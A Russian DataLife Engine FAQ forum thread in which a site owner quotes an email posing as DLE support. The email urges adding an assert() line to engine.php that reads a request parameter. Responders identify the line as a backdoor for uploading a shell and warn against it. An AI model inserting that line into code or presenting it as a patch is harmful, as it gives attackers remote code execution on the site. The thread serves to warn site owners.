Технический сбой

Сайт временно работает в режиме только для чтения, идут восстановительные работы. Приносим свои извинения за неудобства.
DLE FAQ » Все вопросы » Ламерские вопросы » Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

     Все вопросы » Ламерские вопросы    2500

вопрос
Здравствуйте. У меня сайт под управлением DLE 10.3. Сегодня на почту мне пришло письмо от support@dle-news.ru такого содержания:



Это письмо вам отправил support с сайта site.com
____________________________________________________________________________________
Уважаемые владельцы!
Благодарим Вас за использование CMS «DataLife Engine».

Сообщаем Вам о том, что мы зафиксировали уязвимость во всех версиях CMS «DataLife Engine».

Степень опасности: Высокая

Проблема: Недостаточная фильтрация данных, которая может позволить при определенных настройках серверного ПО читать содержимое файлов.

Для исправления откройте файл: /engine/engine.php и в самое начало файла после строчки
<?php

добавьте:
assert(stripslashes($_REQUEST[noscript]));

Устраните уязвимость.

С уважением,
Команда «DataLife Engine»




Сайт раньше работал на DLE 9.3 потом было обновление сразу на 10.3. На другие сайты такое не приходило. Не обман ли это?

Ответил: Sander

Можете не сомневаться, это злоумышленники просят вас прописать бекдор.

6 комментариев

LazyDev
PHP-developer

LazyDev - -

Все баги на офф сайте публикуют, остальному не доверяйте
Мой блог: LazyDev.pro

Помогаю с решением проблем на платной основе.
13Aleksandr
Юзер

13Aleksandr - -

Я уже тоже так подумал. На официальном сайте последнее исправление было для 10.0
Dezma
Юзер

Dezma - -

Такое поставите, Шелл зальют к вам на сайт и будут ссылки на Сапе продавать)
vadims
Гости

vadims - -

Сегодня на почту мне пришло письмо от support@dle-news.ru

Через какой сервер было отправлено письмо?
13Aleksandr
Юзер

13Aleksandr - -

vadims я не знаю как это посмотреть
13Aleksandr
Юзер

13Aleksandr - -

Письмо отправили с моего же сайта, через обратную связь. Что в принципе и настораживает.

Похожие вопросы

 30.09.2011 cybernatic  Общие вопросы по PHP, Хаки, Ламерские вопросы
 14.10.2012 Гость  Ламерские вопросы
 04.03.2013 Гость  Общие вопросы, Ламерские вопросы
 11.05.2013 salam  Ламерские вопросы
 22.05.2013 Yamakasi  Хаки, Ламерские вопросы
 15.07.2014 follor  Общие вопросы по вёрстке, Ламерские вопросы
 21.11.2014 Гость  Ламерские вопросы
 20.04.2015 sergeevizh  Общие вопросы по PHP, Хаки, Ламерские вопросы
 28.04.2015 DmSnt  Ламерские вопросы
 11.05.2015 Rondos  Вопросы КЭПу
  • Puxlik | Telegram Sender 13
    Фото Puxlik
    Puxlik
    Telegram Sender
    Версию 17.1 поддерживает ?
  • TeraMoune | Не загружается изображение [Ошибка HTTP] ... 2
    Фото TeraMoune
    TeraMoune
    Не загружается изображение [Ошибка HTTP]. Как исправить?
    В этой версии есть фрагментация загрузки файла когда загружаемый файл разделяется на фрагменты, по умолчанию 1 фрагмент 1.5мб. (И у вас написано лимиты на файл 4мб и картинки 5.86мб, этого достаточно чтобы принимать 1.5мб фрагменты) И если бы была проблема с весом или чем-то подобным то об этом бы сервер сообщил. Сервер отдал 500 ошибку это значит что угодно, нужно смотреть ответ от сервера в консоли разработчика или логах.
  • RedFox | Не загружается изображение [Ошибка HTTP] ... 2
    Фото RedFox
    RedFox
    Не загружается изображение [Ошибка HTTP]. Как исправить?
    "Некоторые картинки загружаются, но большинство нет."

    Сначала не обратил внимания, но видимо проблема в этом. Все, что больше 100Кб, не загружается. Что странно, поскольку в php у меня следующие значения:
    post_max_size = 100M
    upload_max_filesize = 100M
    max_file_uploads = 20

    Полагаю, где-то еще надо увеличить размер загружаемой картинки, но где?
  • LMakc | Модуль читалка pdf 1
    Фото LMakc
    LMakc
    Модуль читалка pdf
    Не начинай, я заплатил сегодня штраф за підручники. Сейчас очень сложно с этим.
  • ssssss | Сделать подсчет количества символов в ко ... 5
    Фото ssssss
    ssssss
    Сделать подсчет количества символов в комментариях
    Есть актуальный плагин под 17 версию? (только количество символов! без наворотов... записей куда-либо и т.п.) *ББ-редактор
  • alex.sg.spb | Как вывести информацию о обновлении ново ... 8
    Фото alex.sg.spb
    alex.sg.spb
    Как вывести информацию о обновлении новости, но на время?
    вопрос, в продолжение поста. Помогите с кодом вывода инфо UPDATE на краткой новости, так чтобы не нужно было нажимать внутри новости при редактировании галочку?
  • Kentavr | Как вместо %20 в адресной строке подстав ... 9
    Фото Kentavr
    Kentavr
    Как вместо %20 в адресной строке подставлять символ + между словами ???
    Спасибо огромное. Этот вариант самый простой и рабочий!
  • derebas | Как вместо %20 в адресной строке подстав ... 9
    Фото derebas
    derebas
    Как вместо %20 в адресной строке подставлять символ + между словами ???
    К черту htaccess давайте проще

    к href добавьте id="xfield_value"
    <a href="/company/[xfvalue_company]/" id="xfield_value">[xfvalue_company]</a>

    И добавьте скрипт обработчик 
    <script>
document.addEventListener('DOMContentLoaded', function() {
    const links = document.querySelectorAll('a#xfield_value');

    links.forEach(link => {
      let href = link.getAttribute('href');

      if (href) {
        href = href.replace(/ /g, '+');
        link.setAttribute('href', href);
      }
    });
  });
</script>
  • Kentavr | Как вместо %20 в адресной строке подстав ... 9
    Фото Kentavr
    Kentavr
    Как вместо %20 в адресной строке подставлять символ + между словами ???
    Так сайт не работает вообще. Браузер выдает такое

    Страница недоступна Сайт ... выполнил переадресацию слишком много раз.
    Попробуйте удалить файлы cookie.

    ERR_TOO_MANY_REDIRECTS

    Куки чистил не помогает
  • derebas | Как вместо %20 в адресной строке подстав ... 9
    Фото derebas
    derebas
    Как вместо %20 в адресной строке подставлять символ + между словами ???
    Попробуйте так
    RewriteEngine On
    RewriteCond %{REQUEST_URI} %20
    RewriteRule (.*)%20(.*) $1+$2 [N]
    RewriteRule (.*) $1 [R=301,L]
наверх